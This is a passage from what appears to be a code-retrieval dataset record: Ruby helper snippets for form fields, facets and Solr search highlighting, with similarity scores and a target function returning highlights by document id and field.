class=\"selected\">' +\n render_facet_value(facet_solr_field, item, :suppress_link => true) +\n '</span>' +\n ' [' + link_to(\"remove\", catalog_index_path + remove_facet_params(unique_facet_field, item.value, params_for_ui), :class=>\"remove\") + ']'\n end", "def highlight(*args)\n options = args.last.kind_of?(Hash) ? args.pop : {}\n fields = []\n args.each { |field_name| fields.concat(@setup.text_fields(field_name)) }\n\n @query.set_highlight(fields, options)\n end", "def custom_field(label, contents)\r\n render_field(label, {}, contents)\r\n end", "def auto_complete_info(field)\r\n { \"id\" => id, \"label\" => send(field), \"value\" => send(field) }\r\n end", "def simple_render_index_field_value *args\n simple_render_field_value(*args)\n end", "def highlights_for(unique_id, field)\n raw_response['highlighting'] ||= {}\n raw_response['highlighting'][unique_id] ||= {}\n raw_response['highlighting'][unique_id][field]\n end", "def get_field_value(label)\n field_detect(label)\n element = @field.all(:css, 'div[class*=\"clearfix data-column\"]').first\n element.all(:css, 'span[class^=\"read edit\"]').each do |entry|\n entry.text\n end\n end", "def render_document_show_field_label *args\n options = args.extract_options!\n document = args.first\n\n field = options[:field]\n\n t(:'blacklight.search.show.label', label: document_show_field_label(document, field))\n end", "def get_string(field)\n field['stringValue']\n end", "def show_field_value(column_name, column_value)\n content_tag(:tr) do \n content_tag(:td, t(\"#{column_name}\")) +\n content_tag(:td, column_value)\n end \n end", "def process_field_value(value)\r\n value\r\n end", "def present_field_as_label(field)\n field.to_s.sub(/_id$/, '').split('_').map(&:capitalize).join(' ')\n end", "def highlights(field_name = nil)\n if field_name.nil?\n highlights_cache.values.flatten \n else\n highlights_cache[field_name.to_sym]\n end || []\n end", "def text_field; end", "def render_facet_value(facet_solr_field, item, options ={})\n path = search_action_path(add_facet_params_and_redirect(facet_solr_field, item))\n content_tag(:span, :class => \"facet-label\") do\n val = facet_display_value(facet_solr_field, item)\n link_to_unless(options[:suppress_link], val, path, :class=>\"type-icon facet_select #{type_class(val)}\")\n end + render_facet_count(item.hits)\n end", "def get_field(field_name)\n\t\tend", "def render(field_id, value = nil, product = nil)\r\n\t\t\tvalue ||= self.default_value || \"\"\r\n\t\t\t\"<input class=\\\"text\\\" type=\\\"text\\\" name=\\\"#{field_id}\\\" value=\\\"#{value}\\\" />\"\r\n\t\tend", "def field_error(obj, field)\n if obj.errors[field].any?\n content_tag :div,\n obj.errors.messages[field].first,\n class: 'form-error-message'\n end\n end", "def labeled_field(attr, options, &content_gen)\n err = error_on attr, options\n after = options.delete(:after) || ''\n\n @template.content_tag 'div',\n (err ? err : '') + label_tag(attr, options) + content_gen.call + after,\n :class => (err ? 'form_line with_errors' : 'form_line')\n end", "def flash_field(fieldname)\n if flash[fieldname]\n content_tag(:span, h(flash[fieldname]), :class => \"fielderror\").html_safe\n end\n end", "def format\n unless block\n fields.inject(\"\".html_safe) do |html, field|\n html << view(field)\n end\n end\n end", "def selector_display(selector_id)\n if selector = @selectors[selector_id]\n field, custom = selector\n resource = @resource\n display_value = self.send(custom, @record)\n <<-HTML\n <span id='display_#{resource}_#{field}'>#{display_value}</span>\n HTML\n else\n ''\n end\n end", "def link_to_placename_field(field_value, field, displayvalue = nil, catalogpath = nil)\n search_path = catalogpath || 'search_catalog_path'\n new_params = params.permit!\n field_values = field_value.split(', ')\n field_values = [field_values.join(', ')] if field_values.last.match?(/[\\.\\)]/) # Mass.)\n if field_values.length > 2\n new_field_values = []\n new_field_values[0] = field_value.split(/[,][ \\w]*\\z/).first\n new_field_values[1] = field_values.last\n field_values = new_field_values\n end\n if field_values.length == 2 && field_values.last.length == 2\n state_name = Madison.get_name(field_values.last)\n field_values[field_values.length - 1] = state_name if state_name\n end\n field_values.each do |val|\n # new_params = new_params.to_hash\n place = val.match?(/\\(county\\)/) ? val : val.gsub(/\\s\\([a-z\\s]*\\)\\z/, '')\n unless params[:f] && params[:f][field] && params[:f][field].include?(place)\n # have to initialize SearchState with existing params as Hash, not HashWithIndifferentAccess\n new_params = Blacklight::SearchState.new(new_params.to_hash,\n blacklight_config).add_facet_params(field, place)\n end\n end\n new_params[:view] = default_document_index_view_type\n link_to(displayvalue.presence || field_value,\n self.send(search_path, new_params.except(:id, :spatial_search_type, :coordinates)))\n end", "def custom_field_text(field, text)\n frm.text_field(:name=>field).set(text)\n end", "def decorate_field(field)\n field\n end", "def read_only_field(form_name, field_name, html_options)\n \"<span #{attributes(html_options)}>#{instance_variable_get('@' + form_name)[field_name]}</span>\"\n end", "def set_field(field_name, field_value)\n super field_name.to_s, field_value.to_s\n end", "def get_char_field(field_name)\n\t\tend", "def field\n @field ||= quoted_field(field_name)\n end", "def call_field(field)\n field.to_s.split('__').inject(self) { |a, e| a&.send(e) }\n rescue NoMethodError\n ''\n end", "def format_with_label(field, options, tag_output, &block)\n # see if we have an error on the field\n errors_on = object.send(:errors).send(:on, field)\n has_error = true unless errors_on.blank?\n\n # set field options\n options[:field] ||= {}\n options[:field].merge!(:has_error => has_error, :field_type => options[:field_type])\n\n # find label name\n label_name = options[:label] || field.to_s.humanize\n options[:separator] ||= default_separator\n label_name = \"#{label_name}#{options.delete(:separator)}\"\n \n # build output html\n output_html = @template.field_tag(options[:field], [\n @template.label(@object_name, field, label_name),\n tag_output,\n block_given? ? @template.capture(&block) : nil,\n @template.validation_tag(@object, field)\n ].compact.join(\"\\n\"))\n\n if block_given?\n # concat to page if block was given\n @template.concat(output_html)\n return nil\n else\n # otherwise return html directly\n return output_html\n end\n end", "def index_field_label(document, field)\n lookup_display_name(document, field) || super\n end", "def to_s\n label = @field.label\n val = @template.send(:h, formatted_value)\n if @block\n @template.concat(@template.capture(label, val, &@block), @block.binding)\n else\n <<-EOF\n<div class=\"form_submission_field_display\">\n <strong class=\"label\">#{label}</strong>\n <span class=\"response\">#{val}</span>\n</div>\nEOF\n end\n end", "def field( field_helper, method, options, html_options = {})\n content = wrapper.value( field_helper,\n # invoke a Rails built-in control generator\n send( \"#{field_helper}_without_buds\", method, options), :class => 'value')\n wrapper.field( field_helper, \n label_element(method, options, html_options) +\n content +\n addendum_element(options) +\n hint_element(options),\n attributes_for(method, field_helper) )\n end", "def render_index_field_value *args\n render_field_value(*args)\n end", "def html_for_date_field(object, field)\n \"<p>\n <label for = '#{field}' >\n Select your #{field}:\n </label>\n <input type = 'date' \n name = create_form[#{field}]\n placeholder = 'mm/dd/yy'\n value = '#{date_humanized(object.send(field))}'>\n </input>\n </p>\"\n end", "def first_name_field\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.input.id(\"/textFirstName$/\"), format_method(__method__))\n end", "def flash_field(fieldname)\n if flash[fieldname]\n content_tag(:span, flash[fieldname], :class => \"fielderror\")\n end\n end", "def enter_element_value(original_field, value)\n field = original_field.downcase.gsub(\" \", \"_\")\n unless self.respond_to? field + \"_element\"\n warn \"undefined method '#{field + '_element'}' for #{@current_page.class}\"\n return\n end\n\n field_type = self.send(field + \"_element\").class.to_s\n\n if verbose_messages\n p field_type\n p field\n p value\n end\n\n if value.class.to_s == \"Array\"\n value = eval(value[0]).call(:param_string => value[1], :current_page => self, :repeatable_field_index => value[2])\n end\n\n if value =~ /^lambda/\n value = eval(value).call(:current_page => self)\n end\n\n formatted_value = value.to_s.downcase.gsub(\" \", \"_\")\n\n p value if verbose_messages\n\n return if value.nil? or (value == \"nil\")\n\n keep_trying_to_set(1) do\n case field_type\n when /select/i\n Watir::Wait.until(10) {self.send(field + \"_element\").exists?}\n return if self.send(field.downcase.gsub(\" \", \"_\")) == value and value != \"Please Select\"\n self.send(field + \"=\", value)\n when /text/i\n Watir::Wait.until(10) {self.send(field + \"_element\").exists?}\n return if self.send(field) == value and value != \"\"\n self.send(field + \"=\", value)\n self.send(field + \"_element\").send_keys(:tab)\n when /checkbox/i\n Watir::Wait.until(10) {self.send(field + \"_element\").exists?}\n #value should be: \"check\" or \"uncheck\"\n self.send(value.downcase + \"_\" + field)\n when /radio/i\n Watir::Wait.until(10) { self.send( field + \"_\" + formatted_value + \"_element\" ).exists? }\n self.send( \"select_\" + field + \"_\" + formatted_value )\n when /label/i\n if value =~ /check/\n if (value == \"check\" and not self.send( field + \"_element\" ).element.parent.checkbox.checked?) or\n (value == \"uncheck\" and self.send( field + \"_element\" ).element.parent.checkbox.checked?)\n self.send( field + \"_element\" ).click\n end\n else #radio button\n if ENV['browser_type'] == 'ie'\n self.send(field + \"_\" + formatted_value + \"_element\").click\n else\n self.send(field + \"_\" + formatted_value + \"_element\").focus\n self.send(field + \"_\" + formatted_value + \"_element\").fire_event \"onclick\"\n end\n end\n else\n raise(\"Unknown field type:\" + field_type)\n end\n end\n end", "def plain_text_field(*a, &b)\n text_field(*a, &b)\n end", "def post_detail( post, field )\n d = \"data-field='details[#{field}]'\"\n k = \"<p>#{field.to_s.humanize}:</p>\"\n\n if post.new_record?\n value = \"Edit this\"\n else\n value = post.details.send :[], field\n end\n v = \"<p #{d} class='post-field input'>#{value}</p>\"\n\n \"<div class='detail'>#{k} #{v}</div>\".html_safe\n end", "def get_value_edit_html(product)\n \"<div class=\\\"field\\\">\n <span>rating (min=#{min_rating}, max=#{max_rating})</span>\n <input type='text' name='feature_#{idurl}' value='#{get_value(product)}' />\n </div>\"\n end", "def show_field_value(id)\n get(\"fieldValues/#{id}\")\n end", "def value_field(attribute, name_prefix, field_id, show_remove_link = false)\n type = attribute.resource_type_attribute\n value = attribute.value\n if attribute.new_record? and type.is_password?\n value = User.model_name.human\n end\n\n res = text_field_tag(\"#{ name_prefix }[value]\", value,\n :id => field_id, :class => \"value\",\n :size => type.default_field_length)\n\n if type.is_password?\n res += resource_password_field(attribute, type, name_prefix, field_id)\n end\n\n if type.allows_multiple?\n add_style = show_remove_link ? \"display: none\" : \"\"\n remove_style = show_remove_link ? \"\" : \"display: none;\"\n\n res += link_to_function(t('shared.action_labels.add_another'), \"addAttribute(this)\",\n :class => \"add_attribute\",\n :style => add_style)\n res += link_to_function(t('shared.action_labels.remove'), \"removeAttribute(this)\",\n :class => \"remove_attribute\",\n :style => remove_style)\n end\n\n return res\n end", "def show_field(id)\n get(\"fields/#{id}\")\n end", "def show_value_label_method\n value.to_s\n end", "def render_selected_facet_value(facet_solr_field, item)\n content_tag(:span, :class => \"facet-label\") do\n content_tag(:span, facet_display_value(facet_solr_field, item), :class => \"selected\") +\n # remove link\n link_to(content_tag(:span, '', :class => \"glyphicon glyphicon-remove\") + content_tag(:span, '[remove]', :class => 'sr-only'), remove_facet_params(facet_solr_field, item, params), :class=>\"remove\")\n end + render_facet_count(item.hits, :classes => [\"selected\"])\n end", "def edit_and_show_as(arg = nil, &proc) # :yields: field_def or nil\n edit_as(arg, &proc)\n show_as(arg, &proc)\n end", "def field_value(field)\n @object.respond_to?(field) ? @object.send(field) : ''\n end", "def render pad, lineno, text\n if @hash\n dim = match_line text\n fg = dim.first\n bg = dim[1] || @default_colors[1]\n if dim.size == 3\n att = dim.last\n else\n att = @default_colors.last\n end\n cp = get_color($datacolor, fg, bg)\n else\n cp = @pair\n att = @default_colors[2]\n end\n\n FFI::NCurses.wattron(pad,FFI::NCurses.COLOR_PAIR(cp) | att)\n FFI::NCurses.mvwaddstr(pad, lineno, 0, text)\n FFI::NCurses.wattroff(pad,FFI::NCurses.COLOR_PAIR(cp) | att)\n end", "def show_field_label label\n t(:'blacklight.search.show.label', label: label)\n end", "def was_highlighted?(column)\n \tif @ordered_by==column\n 'hilite'\n else\n ''\n end\n end", "def show_value(value, label)\n render 'shared/show_value', label: label, value: value\n end", "def get_field_display_rtpl\n '<input disabled=\"disabled\" type=\"checkbox\" id=\"' + @id + '\" name=\"' + @name + '\" class=\"' + @class_txt + '\" value=\"true\" {%=' + @model_name + '[:' + @name + '_checked]%}\" />'\n end", "def get_text(value, id, field, *args)\n opt = args.extract_options!\n value = value.to_s\n if value.eql?(\"\")\n msg = \"#{field} doit ne doit pas etre nul\"\n if (opt[:if_null].eql?(:error)) # generate an error if value == ''\n add_invalid(msg, id)\n nil\n elsif (opt[:if_null].eql?(:warning)) # generate an invalid if value == ''\n add_warning(msg, id)\n nil\n end\n end\n value\n end", "def label(field, _opts = {})\n if field != @document.id\n super\n else\n render_citation(@document)\n end\n end" ]
[ "0.66360116", "0.65344566", "0.64229006", "0.64062375", "0.6378067", "0.63744247", "0.6296703", "0.60968494", "0.6080412", "0.60333765", "0.6029947", "0.6002301", "0.6001936", "0.5997678", "0.5971128", "0.59649956", "0.59589076", "0.59544677", "0.59321433", "0.5929533", "0.5844717", "0.58220756", "0.58074266", "0.5807173", "0.5794394", "0.5775447", "0.5752409", "0.57481295", "0.57172126", "0.57135254", "0.56901246", "0.5675567", "0.5664967", "0.5618199", "0.55865324", "0.55730075", "0.55523705", "0.5504719", "0.550219", "0.54982615", "0.5489191", "0.5465971", "0.54375166", "0.5436236", "0.5435769", "0.54082257", "0.5406073", "0.53994447", "0.5392205", "0.5390638", "0.53833103", "0.53831816", "0.5305631", "0.53008574", "0.5289459", "0.5288204", "0.52815384", "0.5252993", "0.5248493", "0.52416885", "0.52374196", "0.5235497", "0.5231595", "0.52178717", "0.52113026", "0.5211125", "0.5205383", "0.5199984", "0.5194215", "0.5178555", "0.5174452", "0.5171108", "0.51577556", "0.51516575", "0.5147081", "0.51468915", "0.51383674", "0.51288366", "0.51225483", "0.5120996", "0.5119893", "0.51165164", "0.51138675", "0.51123464", "0.50997037", "0.50989574", "0.5098784", "0.50950116", "0.5093692", "0.50925773", "0.5092266", "0.5084323", "0.5080583", "0.50803125", "0.5072415", "0.50633657", "0.5059509", "0.5059251", "0.50548273", "0.50523967" ]
0.7532586
0
Returns the highlights for a given id for a given field
def highlights_for(unique_id, field) raw_response['highlighting'] ||= {} raw_response['highlighting'][unique_id] ||= {} raw_response['highlighting'][unique_id][field] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def highlights(field_name = nil)\n if field_name.nil?\n highlights_cache.values.flatten \n else\n highlights_cache[field_name.to_sym]\n end || []\n end", "def highlight(field_name)\n highlights(field_name).first\n end", "def highlights\n @solr_data[:highlights]\n end", "def for(id)\n return nil if @highlighting[id] == nil\n @highlighting[id]\n end", "def highlights; end", "def highlights; end", "def highlights; end", "def highlight key\n return unless highlight? key\n highlight_fields[key].map { |x| x.html_safe }\n end", "def highlight(query, options = {})\n options = { :num_excerpts => 2, :pre_tag => '<em>', :post_tag => '</em>' }.update(options)\n i = self.class.ferret_index\n highlights = []\n i.synchronize do\n doc_num = self.document_number\n if options[:field]\n highlights << i.highlight(query, doc_num, options)\n else\n query = i.process_query(query) # process only once\n fields_for_ferret.each_pair do |field, config|\n next if config[:store] == :no || config[:highlight] == :no\n options[:field] = field\n highlights << i.highlight(query, doc_num, options)\n end\n end\n end\n return highlights.compact.flatten[0..options[:num_excerpts]-1]\n end", "def highlight(field)\n if(field == params[:sort].to_s)\n return 'hilite'\n else\n return nil\n end\n end", "def display_for(doc, field)\n highlights_for(doc['unique_id'], field) || doc[field]\n end", "def highlight(*args)\n options = args.last.kind_of?(Hash) ? args.pop : {}\n fields = []\n args.each { |field_name| fields.concat(@setup.text_fields(field_name)) }\n\n @query.set_highlight(fields, options)\n end", "def search_highlights\n @search_highlights ||= begin\n highlights = HIGHLIGHT_SOLR_FIELDS.collect {|field| get_highlights(field) }.flatten.slice(0, MAX_HIGHLIGHT_SNIPPETS)\n if highlights.present?\n \"…\".html_safe + safe_join(highlights, \" …\") + \"…\".html_safe\n else\n \"\"\n end\n end\n end", "def extract_highlights(doc)\n highlight_nodes = doc.css('#kp-annotation-location').map {|ea| ea.parent.parent.parent }\n\n highlight_nodes.map do |node|\n id = node['id']\n\n # Highlights (with or without notes) have #annotationHighlightHeader\n # Freestanding notes have #annotationNoteHeader\n location_node = node.css('#annotationHighlightHeader, #annotationNoteHeader').first\n color_raw, location_raw = location_node.text.split(' | ')\n color = color_raw.gsub('highlight', '').strip.downcase\n\n location = location_raw.split(':')\n location_type = location[0].downcase.strip\n location_num = location[1].strip.downcase.gsub(/[,[:space:]]/, '')\n\n highlight_node = node.css('#highlight').first\n highlight_text = highlight_node ? highlight_node.text : nil\n highlight_text = nil if highlight_text && highlight_text.strip.empty?\n\n note_node = node.css('#note').first\n note_text = note_node ? note_node.text : nil\n note_text = nil if note_text.strip.empty?\n\n truncated_node = node.css('.kp-notebook-highlight-truncated').first\n is_truncated = !truncated_node.nil?\n\n {\n id: id,\n color: color,\n position_type: location_type,\n position: location_num,\n highlight: highlight_text,\n truncated: is_truncated,\n note: note_text,\n }\n end\nend", "def highlight(text,relations,places)\n highlight = String.new(text)\n relations.each do |relation|\n highlight.gsub!(/(#{relation[\"name\"]})/) {\"\\033[7m#{$1}\\033[0m\"}\n end\n places.each do |place|\n highlight.gsub!(/(#{place})/) {\"\\033[4m#{$1}\\033[0m\"}\n end\n\n highlight\nend", "def highlighter; end", "def highlighter; end", "def highlight(line_id = nil)\n return @highlight if line_id.nil?\n line_id = 0 if line_id <= 0\n line_id = (row_count - 1) if line_id >= row_count\n @highlight = line_id\n @reverse = false\n create\n end", "def hl_field(document, k)\n if document.has_highlight_field?(k) && !document.highlight_field(k).empty?\n Array(document.highlight_field(k))\n elsif document.has_field?(k)\n Array(document.fetch(k))\n else\n []\n end\n end", "def add_highlighting(solr_params)\n solr_params['hl'] = true\n solr_params['hl.fl'] = CatalogController.blacklight_config.highlight_field\n solr_params['hl.snippets'] = 3\n solr_params\n end", "def highlighter=(_arg0); end", "def _convert_highlight_to_revealjs node\n node.attributes['highlight'].split('|').collect { |linenums|\n node.resolve_lines_to_highlight(node.content, linenums).join(',')\n }.join('|')\n end", "def highlighted_cache(raw_query)\n Indexer.index.highlight(Query.extract_from(raw_query), doc_id,\n :field => :content, :excerpt_length => :all,\n :pre_tag => \"<<\", :post_tag => \">>\"\n ).first\n end", "def _convert_highlight_to_revealjs node\n return node.attributes[\"highlight\"].split(\"|\").collect { |linenums|\n node.resolve_lines_to_highlight(node.content, linenums).join(\",\")\n }.join(\"|\")\n end", "def index\n pagination = pagination_params\n\n @highlights = Highlight.ordered_by_index.page(pagination[:page]).per(pagination[:quantity])\n end", "def highlight(reservation)\n (!params[:highlight].blank? and params[:highlight].include? reservation.id.to_s) ? 'warning' : ''\n end", "def highlight text\n color_code = 7\n \"\\e[#{color_code}m#{text}\\e[0m\"\nend", "def imt_highlight_id(imt_id, zone_id)\n \"#{imt_id}_image_zone_#{zone_id}\"\n end", "def highlight!\r\n highlights_on proc { true }\r\n end", "def collect_authoritative_highlights\n # NOTE: This fetch may fail if the highlight count is realy large.\n books.each do |book|\n next if book.highlight_count == 0\n kb = Kindle::Book.find_or_create_by(asin: book.asin, title: book.title, author: book.author)\n if kb.highlight_count != book.highlight_count\n kb.highlight_count = book.highlight_count\n kb.save!\n end\n url = \"#{SETTINGS.url}/kcw/highlights?asin=#{book.asin}&cursor=0&count=#{book.highlight_count}\"\n begin\n bpage = agent.get url\n rescue Net::HTTPInternalServerError => ex\n if ENV['GLI_DEBUG']\n puts ex\n puts \"Working on :#{kb.inspect} and #{book.inspect}\"\n end\n next\n end\n items = JSON.parse(bpage.body).fetch(\"items\", [])\n book.highlights = items.map do |item|\n kb.highlights.find_or_create_by(highlight: item[\"highlight\"])\n # TODO: FIXME: amazon_id: item[\"embeddedId\"]\n end\n end\n end", "def extract_highlights_from(code, options)\n code.gsub!(%r[\\{% highlight (.+) %\\}]) do\n enumerable = eval($1.strip)\n enumerable = (Enumerable === enumerable)? enumerable : nil\n options.merge!({:highlight_lines => enumerable}) if enumerable\n ''\n end\n [code.strip, options]\n end", "def highlight_by_language(text, language)\n ::CodeRay.scan(text, language).html(:line_numbers => :inline, :wrap => :span)\n end", "def index\n @highlights = Highlight.all\n end", "def highlight? key\n return false if key.nil? or key == self.class.unique_key\n\n if self.class.highlight.include? key.to_sym\n return true\n elsif !self.class.highlight.empty?\n return false\n end\n\n !highlight_fields[key].blank?\n end", "def highlight(code)\n CodeRay.scan(code, :ruby).div(:css => :class)\n end", "def set_highlight\n @highlight = Highlight.find(params[:id])\n end", "def set_highlight\n @highlight = Highlight.find(params[:id])\n end", "def set_highlight\n @highlight = Highlight.find(params[:id])\n end", "def document_highlight_provider\n attributes.fetch(:documentHighlightProvider)\n end", "def higlighted(attribute, opts={})\n opts = { :fragment_separator => ' ... ' }.merge(opts)\n if self['highlight']\n # works also with nested attributes\n key, high = self['highlight'].find { |k, v| k.gsub('.', '_') == attribute }\n high = Array.wrap(high) if high\n end\n if high.blank?\n respond_to?(attribute.to_sym) ? send(attribute.to_sym) : ''\n else\n high.join(opts[:fragment_separator]).html_safe\n end\n end", "def highlight(pattern)\n\t\tpattern = Regexp.new(pattern) if pattern.is_a?(String)\n\t\t@highlights = [[0, Qt::black]] # todo factor this\n\t\tinvalid_rows = []\n\t\t(0...num_lines).each do |index|\n\t\t\tline = line(index)\n\t\t\tif line =~ pattern\n\t\t\t\t#todo\n\t\t\t\t#@highlights << HighlightData.new(index, $~.begin(0), index, $~.end(0), Qt::yellow, Qt::black)\n\t\t\t\t#invalid_rows << index\n\t\t\tend\n\t\tend\n\n\t\t##repaint_rows(invalid_rows)\n\tend", "def get_highlight_count\n all(:css, \".highlight\").count\n end", "def text_indexes_for(field)\n self.class.text_indexes_for(id, field)\n end", "def sql_to_highlight(sql)\n # wrap sql @ 120\n width = 120\n ar = sql.gsub(/from /i, \"\\nFROM \").gsub(/where /i, \"\\nWHERE \").gsub(/(left outer join |left join |inner join |join )/i, \"\\n\\\\1\").split(\"\\n\")\n wrapped_sql = ar.map { |a| a.scan(/\\S.{0,#{width - 2}}\\S(?=\\s|$)|\\S+/).join(\"\\n\") }.join(\"\\n\")\n\n theme = Rouge::Themes::Github.new\n formatter = Rouge::Formatters::HTMLInline.new(theme)\n lexer = Rouge::Lexers::SQL.new\n formatter.format(lexer.lex(wrapped_sql))\n end", "def view_highlight\n\t\tbegin\n\t\t\tproperty = Property.find(params[:property][:property_id])\n\t\t\t@highlights = Highlight.where(user_id: @current_user.id, property_id: property.id)\n\t\t\tif @highlights.present?\n\t\t\t\trender :file => 'api/v1/property/view_highlight'\n\t\t\telse\n\t\t\t\trender_json({\"status\" => \"Fail\", \"message\" => \"No highlights found\"}.to_json)\n\t\t\tend\n\t\trescue\n\t\t\trender_json({\"status\" => \"Fail\", \"message\" => \"Something went wrong.\"}.to_json)\n\t\tend\n\tend", "def text_id\n \"#{title} (#{color})\"\n end", "def set_highlight\n @highlight = Highlight.find(params[:id]) if params[:id].present?\n @highlight = Highlight.find(params[:highlight_id]) if params[:highlight_id].present?\n end", "def background(marked_tag, highlight_related_tags: true)\n return '#f00' if self == marked_tag\n return '#ff8c00' if highlight_related_tags && in?(marked_tag.related_tags)\n '#666'\n end", "def show\n @highlight = @celebration.highlights.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@celebration,@highlights] }\n end\n end", "def highlighted_lines(options)\n JSON.parse('{' + options.to_s + '}')['hl_lines'] || []\n end", "def goHighlight (h, s)\n # if (!h) return\n # hLen = h.size\n #\n # for (var i=0; i<hLen; i++) {\n # var para = this.paragraphList().list[h[i]-1] || false;\n # if (para) {\n # var sntns = s[h[i].toString()] || false;\n # var multi = !sntns || sntns.length==0; #// Individual sentences, or whole paragraphy?\n # var lines = this.getSentences(para);\n # var jLen = lines.length;\n #\n # /* First pass. Add SPAN tags to all lines. */\n # for (var j=0; j<jLen; j++) {\n # var k = (multi) ? j : sntns[j]-1;\n # lines[j] = \"<span data-num='\" + (j+1) + \"'>\" + lines[j] + \"</span>\";\n # # // lines[j] = \"<a name='\" + (j+1) + \"' /><span data-num='\" + (j+1) + \"'>\" + lines[j] + \"</span>\";\n # }\n #\n # /* Second pass, update span to Highlight selected lines */\n # for (var j=0; j<jLen; j++) {\n # var k = (multi) ? j : sntns[j]-1;\n # var line = lines[k] || false;\n # if (line) {\n # lines[k] = lines[k].replace(\"<span\", \"<span class='\" + this.classHighlight + \"'\");\n # # // trying to create absolute links for sentences here\n # # // lines[k] = lines[k].replace(\"<span\", \"<a name='\" + + \"'><span class='\" + this.classHighlight + \"'\");\n # }\n # }\n #\n # para.setAttribute(\"data-sentences\", jLen);\n # para.innerHTML = lines.join('. ').replace(/__DOT__/g, \".\").replace(/<\\/span>\\./g, \".<\\/span>\");\n # para.addClassName('emReady'); /* Mark the paragraph as having SPANs */\n # }\n # }\n end", "def highlight locator\r\n command 'highlight', locator\r\n end", "def find_record_with_decoration(id)\n decorate(find_record_without_decoration(id))\n end", "def enable_highlight(align)\n @highlight[align] = true\n end", "def was_highlighted?(column)\n \tif @ordered_by==column\n 'hilite'\n else\n ''\n end\n end", "def highlight_cell(tbl, row, col, id, check: false)\n bg_color = '&#ade6dd' unless check\n\n tbl[row + 1][col + 1] = { content: id,\n check: check,\n class: 'td-full-slot',\n style: {'background-color'=> bg_color}}\n end", "def highlight(box)\n @pieces[box[0]][box[1]].stroke = yellow\nend", "def get_field_from_solr id, field\n result = Blacklight.solr.get \"select\", :params => {:q => 'id:\"'+id+'\"', :qt => 'document', :fl => field, :rows => 1 }\n result[\"response\"][\"docs\"].empty? ? nil : result[\"response\"][\"docs\"].first[field]\n end", "def section_highlights(umlaut_request = @umlaut_request)\n # Need to cache for efficiency, need to cache by request id since we take\n # it as an arg. \n @_section_highlighters ||= {}\n return @_section_highlighters[umlaut_request.id] ||= Umlaut::SectionHighlights.new(umlaut_request)\n end", "def highlight(img=@image.constitute)\n to_boxes.each do |box|\n box.highlight(img)\n end\n img\n end", "def index\n @highlights = Highlight.all.order(status: :desc, id: :desc)\n end", "def highlighter_prefix; end", "def highlighter_prefix; end", "def hit_highlight(text, hits = [])\n if hits.empty?\n return text\n end\n \n chunks = text.split(\"<\").map do |item|\n item.blank? ? item : item.split(\">\")\n end.flatten\n\n tags = [\"<\" + DEFAULT_HIGHLIGHT_TAG + \">\", \"</\" + DEFAULT_HIGHLIGHT_TAG + \">\"]\n \n result = \"\"\n chunk_index, chunk = 0, chunks[0]\n prev_chunks_len = 0\n chunk_cursor = 0\n start_in_chunk = false\n for hit, index in hits.flatten.each_with_index do\n tag = tags[index % 2]\n \n placed = false\n until chunk.nil? || hit < prev_chunks_len + chunk.length do\n result << chunk[chunk_cursor..-1] \n if start_in_chunk && hit == prev_chunks_len + chunk.length\n result << tag\n placed = true\n end\n result << \"<#{chunks[chunk_index+1]}>\"\n prev_chunks_len += chunk.length\n chunk_cursor = 0\n chunk_index += 2\n chunk = chunks[chunk_index]\n start_in_chunk = false\n end\n \n if !placed && !chunk.nil?\n hit_spot = hit - prev_chunks_len\n result << chunk[chunk_cursor...hit_spot] + tag\n chunk_cursor = hit_spot\n if index % 2 == 0\n start_in_chunk = true\n end\n end\n end\n \n if !chunk.nil?\n result << chunk[chunk_cursor..-1]\n for index in chunk_index+1..chunks.length-1\n result << (index.even? ? chunks[index] : \"<#{chunks[index]}>\")\n end\n end\n \n result\n end", "def highlight(key, content, language, formatter, options)\n require 'pygments'\n options = JSON.parse('{' + options.to_s + '}')\n if options['linenos'] && formatter == 'html'\n # Inline numbers look much better in HTML but are invalid in LaTeX.\n options['linenos'] = 'inline'\n end\n if (lines = options['hl_lines'])\n content_lines = content.split(\"\\n\")\n if lines.max > content_lines.length\n err = \"\\nHighlight line(s) out of range: #{lines.inspect}\\n\"\n err += content\n raise err\n end\n end\n highlight_cache[key] ||= Pygments.highlight(content, lexer: language,\n formatter: formatter,\n options: options)\n end", "def color(marked_tag, highlight_related_tags: true)\n return '#f00' if self == marked_tag\n return '#ff8c00' if highlight_related_tags && in?(marked_tag.related_tags)\n '#000'\n end", "def highlighted\n @routes_title = I18n.t(\"interface.routes.titles.highlighted\")\n @order = 'highlight'\n @page = params[:page] || '1'\n @asc = params[:asc] || 'desc'\n # @routes = Route.paginate :joins => :rates_with_dimension, :group => :id,\n # :select => \"routes.*, sum(stars) as highlight\", :per_page => 10,\n # :page => @page,\n # :order => @order + \" \" + @asc\n # Se seleccionan rutas sin que tengan valoración, devolviendo highligh = nil\n @routes = Route.paginate :joins => \"LEFT JOIN 'rates' ON 'rates'.rateable_id = 'routes'.id \" +\n \"AND 'rates'.rateable_type = 'Route' AND dimension IS NOT NULL\", :group => :id,\n :select => \"routes.*, sum(stars) as highlight\", :per_page => '10',\n :page => @page,\n :order => @order + \" \" + @asc\n\n respond_to do |format|\n format.html { render :template => \"routes/index\"}\n format.xml { render :xml => @routes }\n end\n end", "def highlight(line)\n line.deletion? ?\n older[line.old_line_number-1] :\n newer[line.new_line_number-1]\n end", "def highlight(str = '')\n return '' if str.blank?\n\n str = str.split('=')\n str.count > 1 ? \"\\e[32m#{str[0]}=\\e[33m#{str[1]}\\e[0m\" : \"\\e[32m#{str[0]}\\e[0m\"\nend", "def process_highlight(full_document)\n return full_document if site.config['markdown'] == 'redcarpet'\n\n doc = full_document.dup\n doc.gsub!(/```(.*?)\\n(.*?)\\n```/m) do |match|\n #\"```#{$1}\\n{% raw %}\\n#{$2}\\n{% endraw %}\\n```\"\n #\"{% highlight #{$1} %}\\n#{$2}\\n{% endhighlight %}\\n\"\n \"```#{$1}\\n#{$2}\\n```\"\n end\n return doc\n end", "def highlight_text(text, terms, start_tag)\r\n\t\t\tquery_params = %(text=#{text}&highlight_expression=#{terms}&start_tag=#{start_tag}).tr(\" \", \"+\")\r\n\t\t\turl = construct_target_url(:highlighttext, query_params)\r\n\t\t\t\r\n\t\t\tURI.parse(url).read\r\n\t\tend", "def set_card_highlight\n @card_highlight = CardHighlight.find(params[:id])\n end", "def render_highlighted_authors args\n sep = args[:separator] || '; '\n highlighted_authors = render_highlight_field args\n formatted = highlighted_authors.map { |au| \"<span class='author'>#{au}</span>\" }\n if 